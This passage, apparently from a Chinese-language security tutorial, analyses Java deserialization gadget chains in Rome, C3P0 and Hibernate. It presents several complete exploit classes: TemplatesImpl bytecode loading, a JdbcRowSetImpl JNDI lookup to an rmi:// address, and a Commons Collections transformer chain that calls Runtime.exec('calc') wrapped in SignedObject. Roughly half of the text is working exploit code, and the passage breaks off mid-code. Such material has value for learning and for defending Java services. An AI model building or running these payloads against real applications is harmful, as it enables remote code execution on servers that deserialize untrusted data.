Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);
serialize(poolBackedDataSourceBase,"c3p0.ser");
unserialize("c3p0.ser");
}
public static void serialize(Object obj,String path) throws IOException {
ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream(path));
outputStream.writeObject(obj);
}
public static void unserialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(path));
objectInputStream.readObject();
}
}
Rome反序列化
Rome
是一个 Java 库,用于处理和生成各种 RSS
和 Atom
格式的 XML 文档。它提供了一组易于使用的 API,用于解析和生成RSS
和 Atom
文档,以及处理其中的内容和元数据。Rome 的目标是简化 RSS
和 Atom
文档的处理,使开发人员能够更轻松地创建、读取和操作这些文档。您可以使用 Rome 来构建自己的 RSS 阅读器、博客聚合器或任何其他需要处理 RSS
或 Atom
数据的应用程序。
Rome
的多个函数,也会反序列化提供了多个向外的延伸,比如Fastjson
对于触发get
函数的条件是存在限制的,那么就可以考虑利用Rome
的链子来触发get
函数,以下是关于Rome
的简单分析。
ToStringBean
在
ToStringBean
的toString
方法中,存在着能够触发所有get
函数的代码。public String toString() { Stack stack = (Stack)PREFIX_TL.get(); //从栈中获取一些东西 String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek()); String prefix; if (tsInfo == null) { String className = this._obj.getClass().getName(); prefix = className.substring(className.lastIndexOf(".") + 1); } else { prefix = tsInfo[0]; tsInfo[1] = prefix; } return this.toString(prefix); }
在无参的
toString
方法中,当从当前线程中获取到栈为空,则会进入if
里面,在if
内容里面会获取_obj
的完整的类名,然后截取到最后一个类的名称,比如说com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
则prefix=TemplatesImpl
,随后就将prefix
传入到有参的toString
中private String toString(String prefix) { StringBuffer sb = new StringBuffer(128); try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass); if (pds != null) { for(int i = 0; i < pds.length; ++i) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) { Object value = pReadMethod.invoke(this._obj, NO_PARAMS); this.printProperty(sb, prefix + "." + pName, value); } } } } catch (Exception var8) { sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n"); } return sb.toString(); }
这个方法中,调用了
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
语句,传入的参数为_beanClass
跟进
getPropertyDescriptors
里面public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException { PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass)); if (descriptors == null) { descriptors = getPDs(klass); _introspected.put(klass, descriptors); } return descriptors; }
从
_introspected
这个HashMap
中获取传入的_beanClass
,如果获取不到,则调用getPDS
,然后将_beanClass
放入到HashMap
中,最后将getPDs
结果返回。跟进到
getPDs
private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException { Method[] methods = klass.getMethods(); Map getters = getPDs(methods, false); Map setters = getPDs(methods, true); List pds = merge(getters, setters); PropertyDescriptor[] array = new PropertyDescriptor[pds.size()]; pds.toArray(array); return array; }
获取
_beanClass
的所有方法,然后分别调用第二个getPDs
方法,将结果赋值给两个Map
,这里就是分别取出所有方法里面的set
方法和get
方法,然后经过merge
的处理后,返回一个PropertyDescriptor
类数组。看看第二个
getPDs
方法private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException { Map pds = new HashMap(); //遍历所有的方法名称 for(int i = 0; i < methods.length; ++i) { String pName = null; PropertyDescriptor pDescriptor = null; if ((methods[i].getModifiers() & 1) != 0) { if (setters) { //如果方法名以set开头并且返回的是Void,只有一个参数,则将方法提取出来,创建PropertyDescriptor来描述set方法的属性和读写方法 if (methods[i].getName().startsWith("set") && methods[i].getReturnType() == Void.TYPE && methods[i].getParameterTypes().length == 1) { pName = Introspector.decapitalize(methods[i].getName().substring(3));//截取set后面的字符 pDescriptor = new PropertyDescriptor(pName, (Method)null, methods[i]); } ////如果方法名以get开头并且返回的不是Void,没有参数,则将方法提取出来,创建PropertyDescriptor来描述get方法的属性和读写方法 } else if (methods[i].getName().startsWith("get") && methods[i].getReturnType() != Void.TYPE && methods[i].getParameterTypes().length == 0) { pName = Introspector.decapitalize(methods[i].getName().substring(3)); pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null); } else if (methods[i].getName().startsWith("is") && methods[i].getReturnType() == Boolean.TYPE && methods[i].getParameterTypes().length == 0) { pName = Introspector.decapitalize(methods[i].getName().substring(2)); pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null); } } //获取到的方法名不为空,则将名放入到Map中 if (pName != null) { pds.put(pName, pDescriptor); } } //返回这个Map return pds; }
回到有参的
toString
方法private String toString(String prefix) { StringBuffer sb = new StringBuffer(128); try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);//描述了Bean方法的PropertyDescriptor数组 if (pds != null) { for(int i = 0; i < pds.length; ++i) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) { Object value = pReadMethod.invoke(this._obj, NO_PARAMS); this.printProperty(sb, prefix + "." + pName, value); } } } } catch (Exception var8) { sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n"); } return sb.toString(); }
当
PropertyDescriptor数组
不为空,则进入循环,取出get
方法名,获取它的ReadMethod
方法,其实就是获取get***
方法,这里如果获取的是writeMethod
就是获取set***
方法,如果这个方法的类对象不是Object
并且该方法没有参数类l型,则进入if
中,可以看到if
里面通过反射pReadMethod.invoke(this._obj, NO_PARAMS);
调用了_obj
类中获取到的符合条件的get
方法。同时_beanClass
和_obj
又是通过构造函数可控的,因此就存在类似于fastjson
的方法调用。既然存在
toString
方法能够触发,还需要把链子引向到readObject
反序列化中,在EqualBeans
类中,存在HashCode
方法能够触发ToStringBean#toString
方法,最终整条链子就走向了HashMap#readObject
protected EqualsBean(Class beanClass) { this._beanClass = beanClass; this._obj = this; } public int hashCode() { return this.beanHashCode(); } public int beanHashCode() { return this._obj.toString().hashCode(); }
整个Gadget就为
HashMap#readObject->
HashMap#hash->
EqualsBean#hashCode->
EqualsBean#beanHashCode->
ToStringBean#toString->
templates#getOutputProperties->
templatesImpl#newTransformer->
templatesImpl#getTransletInstance->
templatesImpl#defineTransletClasses->
newInstance()
整个Exp:
package com.example.xstreamdemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class RomeObjectBean {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates=new TemplatesImpl();
Class templatesClass=TemplatesImpl.class;
Field _name=templatesClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"aaa");
Field _class=templatesClass.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates,null);
Field _tfactory=templatesClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
Field _bytecodes=templatesClass.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test1.class"));
byte[][] codes={code};
_bytecodes.set(templates,codes);
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);//使用Templates,而不是TemplatesImpl,因为而不是TemplatesImpl有多个get方法,会中断掉
// EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean); //要通过反射更改,否则序列化就会触发
EqualsBean equalsBean=new EqualsBean(String.class,"aiwin");
HashMap hashMap=new HashMap();
hashMap.put(equalsBean,"aaa");
Class clazz=equalsBean.getClass();
Field _beanClass=clazz.getDeclaredField("_beanClass");
_beanClass.setAccessible(true);
_beanClass.set(equalsBean,ToStringBean.class);
Field _obj=clazz.getDeclaredField("_obj");
_obj.setAccessible(true);
_obj.set(equalsBean,toStringBean);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(object);
}
public static void unserialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
}
EqualsBean
如果说ToStringBean
没法用,或者说被Waf
给拦截掉了,在EqualsBean#beanEquals
中也存在相同的调用情况,也是调用get
方法。
public boolean equals(Object obj) {
return this.beanEquals(obj);
}
public boolean beanEquals(Object obj) {
Object bean1 = this._obj;
Object bean2 = obj;
boolean eq;
if (obj == null) {
eq = false;
} else if (bean1 == null && obj == null) {
eq = true;
} else if (bean1 != null && obj != null) {
if (!this._beanClass.isInstance(obj)) {
eq = false;
} else {
eq = true;
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; eq && i < pds.length; ++i) {
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value1 = pReadMethod.invoke(bean1, NO_PARAMS);
Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
eq = this.doEquals(value1, value2);
}
}
}
} catch (Exception var10) {
throw new RuntimeException("Could not execute equals()", var10);
}
}
} else {
eq = false;
}
return eq;
}
关键就在于用什么来触发equals
方法,在之前的CC7
中是存在触发equals
的链子。
关于CC
链具体内容,可参考文章:Java反序列化合集-1
整条Gadget如下:
HashTable#readObject->
HashTable#reconstitutionPut->
AbstractMap#equals#equals->
EqualsBean#equals->
method.invoke()
Exp如下:
public class RomeEqualBeans {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates=new TemplatesImpl();
Class templatesClass=TemplatesImpl.class;
Field _name=templatesClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"aaa");
Field _class=templatesClass.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates,null);
Field _tfactory=templatesClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
Field _bytecodes=templatesClass.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test1.class"));
byte[][] codes={code};
_bytecodes.set(templates,codes);
EqualsBean equalsBean=new EqualsBean(Templates.class,templates);
HashMap map1=new HashMap();
HashMap map2=new HashMap();
map1.put("AaAaAa",equalsBean);
map1.put("BBAaBB",templates);//通过!this._beanClass.isInstance(obj)判断同时通过obj为空的判断
map2.put("BBAaBB",equalsBean);
map2.put("AaAaAa",templates);
Hashtable hashtable=new Hashtable();
hashtable.put(map1,"1");
hashtable.put(map2,"1");
serialize(hashtable);
unserialize("ser.bin");
}
BadAttributeValueExpException
在CC5中,它有一个入口是BadAttributeValueExpException#readObject
处触发TiedMapEntry#toString
方法,这里同样也可以用来触发toStringBean
类中的toString
方法,同时这里也可以触发其它的链子,比如说触发JdbcRowSetImpl#connect
中的lookup
接口,里面的getDatabaseMetaData
能够调用connect
完成JNDI
注入。
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
Exp如下:
package com.example.xstreamdemo;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
public class RomeBadJdbc {
public static void main(String[] args) throws SQLException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
JdbcRowSetImpl jdbcRowSet=new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1:8080/oYQqNTCn");
ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Class clazz=BadAttributeValueExpException.class;
Field val=clazz.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(object);
}
public static void unserialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
}
HotSwappableTargetSource
hotSwappableTargetSource 是Spring AOP技术相关的一个类,它里面的eqauls方法也能够逐步触发toStringBean 类ww的toString 方法,简单分析如下:
hotSwappableTargetSource类中的equals 方法能够控制target 的参数,在equals 中能够控制左右两边的equals
public HotSwappableTargetSource(Object initialTarget) { Assert.notNull(initialTarget, "Target object must not be null"); this.target = initialTarget; } @Override public boolean equals(Object other) { return (this == other || (other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource) other).target))); }
在XString 类中存在equals 方法能够触发toString
public boolean equals(Object obj2) { if (null == obj2) return false; // In order to handle the 'all' semantics of // nodeset comparisons, we always call the // nodeset function. else if (obj2 instanceof XNodeSet) return obj2.equals(this); else if(obj2 instanceof XNumber) return obj2.equals(this); else return str().equals(obj2.toString()); //触发toString }
所以只需要
this.target.equals(((HotSwappableTargetSource) other).target)));
控制左边的target 为XString ,右边的target 为toStringBean 即可,至于怎么触发hotSwappableTargetSource#equals ,在HashMap#putVal中就能触发,整条链就引向了HashMap#HashCodefinal V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { Node<K,V>[] tab; Node<K,V> p; int n, i; if ((tab = table) == null || (n = tab.length) == 0) n = (tab = resize()).length; if ((p = tab[i = (n - 1) & hash]) == null) tab[i] = newNode(hash, key, value, null); else { Node<K,V> e; K k; if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k))))//此处可触发,只需要将两个target放入hashMap中
整个链如下:
HashMap#HashCode()-> HashMap#putVal()-> hotSwappableTargetSource#equals()-> Xstring#equals()-> toStringBean#toString()-> 后半段
整个Exp如下:
public class RomeHotSwappable { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException { TemplatesImpl templates=new TemplatesImpl(); Class templateClass=TemplatesImpl.class; Field _name=templateClass.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates,"aiwin"); Field _class=templateClass.getDeclaredField("_class"); _class.setAccessible(true); _class.set(templates,null); // Field _factory=templateClass.getDeclaredField("_tfactory"); // _factory.setAccessible(true); // _factory.set(templates,new TransformerFactoryImpl()); Field _bytecode=templateClass.getDeclaredField("_bytecodes"); byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test1.class")); byte[][] codes={code}; _bytecode.setAccessible(true); _bytecode.set(templates,codes); ToStringBean toStringBean=new ToStringBean(Templates.class,templates); HotSwappableTargetSource hotSwappableTargetSource=new HotSwappableTargetSource(toStringBean); HotSwappableTargetSource hotSwappableTargetSource1=new HotSwappableTargetSource(new XString("a")); HashMap hashMap=new HashMap(); hashMap.put(hotSwappableTargetSource,"1"); hashMap.put(hotSwappableTargetSource1,"1"); serialize(hashMap); unserialize(); }
SignedObject(二次反序列化)
在
Java-Security
中,存在SignedObject
类,里面存在一个getObject
方法能够直接调用readObject
触发反序列化,并且readObject
的内容我们可以控制,这就导致了二次反序列化的成形public SignedObject(Serializable object, PrivateKey signingKey, Signature signingEngine) throws IOException, InvalidKeyException, SignatureException { ByteArrayOutputStream b = new ByteArrayOutputStream(); ObjectOutput a = new ObjectOutputStream(b); a.writeObject(object);//通过构造方法可以直接控制this.content的内容 a.flush(); a.close(); this.content = b.toByteArray(); b.close(); // now sign the encapsulated object this.sign(signingKey, signingEngine); //对this.content进行签名加密, } public Object getObject() throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream(this.content); ObjectInput a = new ObjectInputStream(b); Object obj = a.readObject();//对this.content进行反序列化,内容可控 b.close(); a.close(); return obj; }
进入到
sign
方法中,发现它传入了一个私钥
和一个Signature
类,通过Signature
对content
进行加密private void sign(PrivateKey signingKey, Signature signingEngine) throws InvalidKeyException, SignatureException { // initialize the signing engine signingEngine.initSign(signingKey); signingEngine.update(this.content.clone()); this.signature = signingEngine.sign().clone(); this.thealgorithm = signingEngine.getAlgorithm(); }
究竟用什么算法来对
this.content
进行加密比较好呢,从Signature
可以看到支持很多种加密的算法,简洁起见,采用第一种普通的DSA
即可。static { signatureInfo = new ConcurrentHashMap<String,Boolean>(); Boolean TRUE = Boolean.TRUE; // pre-initialize with values for our SignatureSpi implementations signatureInfo.put("sun.security.provider.DSA$RawDSA", TRUE); signatureInfo.put("sun.security.provider.DSA$SHA1withDSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$MD2withRSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$MD5withRSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$SHA1withRSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$SHA256withRSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$SHA384withRSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$SHA512withRSA", TRUE); signatureInfo.put("com.sun.net.ssl.internal.ssl.RSASignature", TRUE); signatureInfo.put("sun.security.pkcs11.P11Signature", TRUE); }
- 再联系起上方
ROME
序列化中通过toString()
能够触发get
方法,那么就串起来了整条二次反序列化链子。
Gadget如下:
BadAttributeValueExpException#readObject->
ToStringBean#toString->
SignedObject#getObject->
readObject->
第二次反序列化的链子
这里就以CC6为例子,触发二次反序列化,EXP如下:
package com.example.xstreamdemo;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
public class RomeSignedObject {
public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),//解决Runtime不继承序列化接口问题
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> objectHashMap=new HashMap<>();
objectHashMap.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");
Class lazyMap_class=LazyMap.class;
Field factory=lazyMap_class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(objectHashMap, kp.getPrivate(), Signature.getInstance("DSA"));
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Class badAttributeValueExpException_class=BadAttributeValueExpException.class;
Field val=badAttributeValueExpException_class.getDeclaredField("val");
val.setAccessible(true);
ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
val.set(badAttributeValueExpException,toStringBean);
// serialize(badAttributeValueExpException,"ser.bin");
unserialize("ser.bin");
}
public static void serialize(Object obj,String path) throws IOException {
ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream(path));
outputStream.writeObject(obj);
}
public static void unserialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(path));
objectInputStream.readObject();
}
}
Hibernate反序列化
Java Hibernate
是一个开源的对象-关系映射(ORM)框架,它为 Java 开发人员提供了一种将面向对象的类与数据库表之间进行映射的方式。它允许开发人员使用面向对象的方式来操作数据库,而不必深入编写大量的 SQL 语句。通过 Hibernate,开发人员可以将 Java 对象持久化到数据库中,从而简化了数据访问层的开发工作。
Hibernate
提供了一种自动生成 SQL 语句的机制,它能够自动将 Java 对象映射到数据库表及字段,同时也支持事务管理、缓存管理和查询语言等功能。通过使用 Hibernate,开发人员可以更加专注于业务逻辑的开发,而不必过多关注底层的数据库操作。
TemplateImpl
在Hibernate的各种类中,依旧存在着一连串的链子能够被用于进行反序列化漏洞触发
get
类型方法,漏洞的触发点在BasicPropertyAccessor$BasicSetter#get()
中,存在着Method.invoke()
能够触发private BasicGetter(Class clazz, Method method, String propertyName) { this.clazz=clazz; this.method=method; this.propertyName=propertyName; } @Override public Object get(Object target) throws HibernateException { try { return method.invoke( target, (Object[]) null ); } catch (InvocationTargetException ite) { throw new PropertyAccessException( ite, "Exception occurred inside", false, clazz, propertyName ); }
查看
BasicPropertyAccessor$BasicSetter#getterMethod
方法我们可以看出它的逻辑,与Rome
那个触发有点相似,获取get
方法返回。private static Method getterMethod(Class theClass, String propertyName) { Method[] methods = theClass.getDeclaredMethods();//获取类中的所有方法 for ( Method method : methods ) { //如果方法存在参数,跳过 if ( method.getParameterTypes().length != 0 ) { continue; } //如果方法是桥接方法,跳过 if ( method.isBridge() ) { continue; } final String methodName = method.getName(); //获取方法的名字 if ( methodName.startsWith( "get" ) ) {//如果方法名以get开头 //首字母转换成小写 String testStdMethod = Introspector.decapitalize( methodName.substring( 3 ) ); String testOldMethod = methodName.substring( 3 );//截取get后面的字符串 //如果与传入的propertyName一致,则返回method if ( testStdMethod.equals( propertyName ) || testOldMethod.equals( propertyName ) ) { return method; } } //如果方法以is开头,逻辑与上面一样 if ( methodName.startsWith( "is" ) ) { String testStdMethod = Introspector.decapitalize( methodName.substring( 2 ) ); String testOldMethod = methodName.substring( 2 ); if ( testStdMethod.equals( propertyName ) || testOldMethod.equals( propertyName ) ) { return method; } } } return null; }
可以获取到一个类中的
get
类方法,然后通过method.invoke()
触发,就可以配合之前的很多链子进行使用,比如说Templates
动态类字节码加载,JdbcImpl
类的Jndi
注入,又或者是SignedObject#getObject
的二次反序列化(以Templates
为例),往上找谁能触发BasicPropertyAccessor$BasicSetter#get()
,在AbstractComponentTuplizer#getPropertyValue()
能够触发,只需要令getters[]
是BasicGetter
,component
是TemplateImpl
。public abstract class AbstractComponentTuplizer implements ComponentTuplizer { protected final Getter[] getters; public Object getPropertyValue(Object component, int i) throws HibernateException { return getters[i].get( component ); } }
这里的
AbstractComponentTuplizer
是一个抽象类,不能进行实例化,因此需要向它的子类中寻找,会找到DynamicMapComponentTuplizer
和PojoComponentTuplizer
两个子类,发现PojoComponentTuplizer
能够对getters
进行赋值,因此可以通过PojoComponentTuplizer
触发父类AbstractComponentTuplizer#getPropertyValue()
public class PojoComponentTuplizer extends AbstractComponentTuplizer { private final Class componentClass; private ReflectionOptimizer optimizer; private final Getter parentGetter; private final Setter parentSetter; public PojoComponentTuplizer(Component component) { super( component ); this.componentClass = component.getComponentClass(); String[] getterNames = new String[propertySpan]; String[] setterNames = new String[propertySpan]; Class[] propTypes = new Class[propertySpan]; for ( int i = 0; i < propertySpan; i++ ) { getterNames[i] = getters[i].getMethodName(); setterNames[i] = setters[i].getMethodName(); propTypes[i] = getters[i].getReturnType(); }
在
ComponentType#getPropertyValue()
方法的找到了能够触发PojoComponentTuplizer#getPropertyValue
的方法,并且该方法可以被ComponentType#getHashCode()
触发,此处需要propertySpan>=1
进入循环,对componentTuplizer
赋值为PojoComponentTuplizer
public class ComponentType extends AbstractType implements CompositeType, ProcedureParameterExtractionAware { @Override public int getHashCode(final Object x) { int result = 17; for ( int i = 0; i < propertySpan; i++ ) { Object y = getPropertyValue( x, i ); result *= 37; if ( y != null ) { result += propertyTypes[i].getHashCode( y ); } } return result; } public Object getPropertyValue(Object component, int i) throws HibernateException { if ( component instanceof Object[] ) { return (( Object[] ) component)[i]; } else { return componentTuplizer.getPropertyValue( component, i ); } } }
谁能触发
ComponentType#getHashCode()
,发现在TypedValue
中存在hashCode()
方法,它可以调用ValueHolder#getValue
,而ValueHolder#getValue
当value为空,会调用valueInitializer.initialize()
,这个方法在TypedValue#initTransients
中被重新封装,在里面可以通过令type=ComponentType
触发getHashCode()
public final class TypedValue implements Serializable { private final Type type; private final Object value; private transient ValueHolder<Integer> hashcode; public TypedValue(final Type type, final Object value) { this.type = type; this.value = value initTransients(); } @Override public int hashCode() { return hashcode.getValue(); } private void initTransients() { this.hashcode = new ValueHolder<Integer>( new ValueHolder.DeferredInitializer<Integer>() { @Override public Integer initialize() { return value == null ? 0 : type.getHashCode( value ); } } ); } public class ValueHolder<T> { public T getValue() { if ( value == null ) { value = valueInitializer.initialize(); } return value; } }
- 到此整个Gadgets就形成了
HashMap.readObject()
TypedValue.hashCode()
ValueHolder.getValue()
ValueHolder.DeferredInitializer().initialize()
ComponentType.getHashCode()
PojoComponentTuplizer.getPropertyValue()
AbstractComponentTuplizer.getPropertyValue()
BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
JdbcRowSetImpl.getDatabaseMetaData()
整个payload如下:
public class Hibernate { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates=new TemplatesImpl(); byte[] code=getTemplates(); byte[][] codes={code}; setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); setFieldValue(templates,"_name","1"); setFieldValue(templates,"_class",null); setFieldValue(templates,"_bytecodes",codes); //BasicGetter初始化,便于触发get方法 Class<?> BasicGetter=Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Constructor<?> constructor=BasicGetter.getDeclaredConstructor(Class.class, Method.class,String.class); constructor.setAccessible(true); Method method=templates.getClass().getDeclaredMethod("getOutputProperties"); Object getter=constructor.newInstance(templates.getClass(),method,"outputProperties"); //子类pojoComponentTuplizer赋值getters,可直接调用父类 Class<?> pojoComponentTuplizer=Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer"); Class<?> abstractComponentTuplizer=Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer"); Object Tuplizer=createWithoutConstructor(pojoComponentTuplizer); Field field=abstractComponentTuplizer.getDeclaredField("getters"); field.setAccessible(true); Object getters=Array.newInstance(getter.getClass(),1);//getters是个数组 Array.set(getters,0,getter); field.set(Tuplizer,getters); //对ComponentType进行赋值,触发getHashCode() Class<?> ComponentType=Class.forName("org.hibernate.type.ComponentType"); Object componentType=createWithoutConstructor(ComponentType); setFieldValue(componentType,"propertySpan",1); setFieldValue(componentType,"componentTuplizer",Tuplizer); TypedValue typedValue=new TypedValue((Type) componentType,null); HashMap hashMap=new HashMap(); hashMap.put(typedValue,"aiwin"); // put 到 hashmap 之后再反射写入,防止 put 时触发 setFieldValue(typedValue,"value",templates); serialize(hashMap); unserialize("ser.bin"); } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); } //绕过构造函数的限制,创造新的反序列化构造函数 public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T)sc.newInstance(consArgs); } public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException { ClassPool classPool=ClassPool.getDefault(); CtClass ctClass=classPool.makeClass("Test"); ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = 